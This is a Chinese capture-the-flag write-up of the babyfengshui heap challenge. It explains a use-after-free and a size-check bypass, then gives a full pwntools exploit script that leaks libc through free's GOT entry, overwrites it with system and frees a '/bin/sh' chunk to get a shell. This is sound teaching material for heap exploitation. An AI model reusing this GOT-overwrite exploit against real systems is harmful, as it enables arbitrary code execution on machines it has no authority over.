其实这个题用了两天,第一天拿上题的时候比较浮躁,也没什么分析的效果,把题做出来了,写个文章大家分析交流
我看网上大家都说这个题适合入门堆得看,其实我感觉要是没接触过堆得话,理解起来还是比较困难的,我会将自己做题的思路记录下来,让大家少踩点坑
好像这个题在攻防世界
也存在
做题思路
1.查看安全机制/文件信息
2.分析IDA,梳理思路很重要
3.分析构造漏洞利用(其实自己都是一步步来的,毕竟还是个小白呢)
4.编写EXP文件
1.安全机制
运行
0:添加一个用户 1:删除用户 2:显示用户 3:更新用户描述 4:退出
这里要注意是否开启系统随机化,不方便本地测试(系统随机化其实都是默认开启的)
2.IDA分析
0.add
1.free
2.play
3.update
update存在问题,这里是限制了我们的数据不能超过自定义的范围,不过还有一种方法可以绕过,就是释放空间再利用。这里还要注意一点就是上面的free函数,因为free没有将*ptr置为null,所以一直会存在这么一个指针
3.漏洞利用
第一按照数据结构画结构体(见谅)
**内容_chunk** #自定义size
{
pre_size
size
content
}
**描述_chunk** #这里固定大小为0x88
{
size
*ptr #这里是很关键的一点,这里是指向内容_chunk的指针
content
}
自己也做了好几道堆得题了,发现一个道理,只要知道了libc_base,就已经成功了一大半了
思路如下
0.写入/bin/sh\x00
1.泄露libc的地址(利用free的地址)
- 修改*ptr指针指向free的地址,泄露出got表的真实地址
- 在后面利用*ptr指针改为system地址,意思就是free的地址改为了system
- 当再次free的时候就触发了get shell
重点
就是利用结构体的*ptr
编写EXP
经验
- 首先是写程序的流程,要注意用
context.log_level = 'debug'
可以及时的发现自己的错误 - 多利用
sendlineafter
可以很多的减少代码,不过有时候也要检查,自己遇到个别时候有不能用的时候 - 写完框架,要利用添加->打印->修改->释放的流程跑一边,检测框架是否有问题
- 这里要注意在自己本地测试不能用他的libc,因为程序调用的是自己本地的libc,当打通本地后利用他的libc去get shell!
- 我的script中的name每次都需要些用
a*8
去填充,你也可以在框架里面一次写入减少后面的变量传入
#!/usr/bin/env python
from pwn import*
context.log_level = 'debug'
p = process("./babyfengshui_33c3_2016")
#p = remote("pwn.buuoj.cn",20002)
elf = ELF("./babyfengshui_33c3_2016")
libc = ELF("./libc.so.6") #libc = libc
def add(size,name,size_1,text):
p.sendlineafter("Action: ",str(0))
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.sendlineafter("text length: ",str(size_1))
p.sendlineafter("text: ",text)
def delete(index):
p.sendlineafter("Action: ",str(1))
p.sendlineafter("index: ",str(index))
def play(index):
p.sendlineafter("Action: ",str(2))
p.sendlineafter("index: ",str(index))
def edit(index,leng,text):
p.sendlineafter("Action: ",str(3))
p.sendlineafter("index: ",str(index))
p.sendlineafter("text length: ",str(leng))
p.sendlineafter("text: ",text)
print '====add===='
add(128,"a"*8,30,"b"*8) #0
add(128,"a"*8,30,"b"*8) #1
print '====add bin_sh ===='
add(8,'a'*8,8,'/bin/sh\x00') #2
delete(0)
gdb.attach(p)
print '====link libc===='
add(0x100,"a"*8,0x19c,"b"*0x198+p32(elf.got['free'])) #0x198后刚好是指向index =1 的content
play(1) #这里刚好就将*ptr指向的free对应地址的内容给打印出来
p.recvuntil("description: ")
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.symbols['free']
success("[+]---->free_addr = "+hex(free_addr))
success("[+]---->libc_base = "+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
print '====get_shell===='
edit(1,4,p32(system_addr)) #1
delete(2)
#gdb.attach(p)
p.interactive()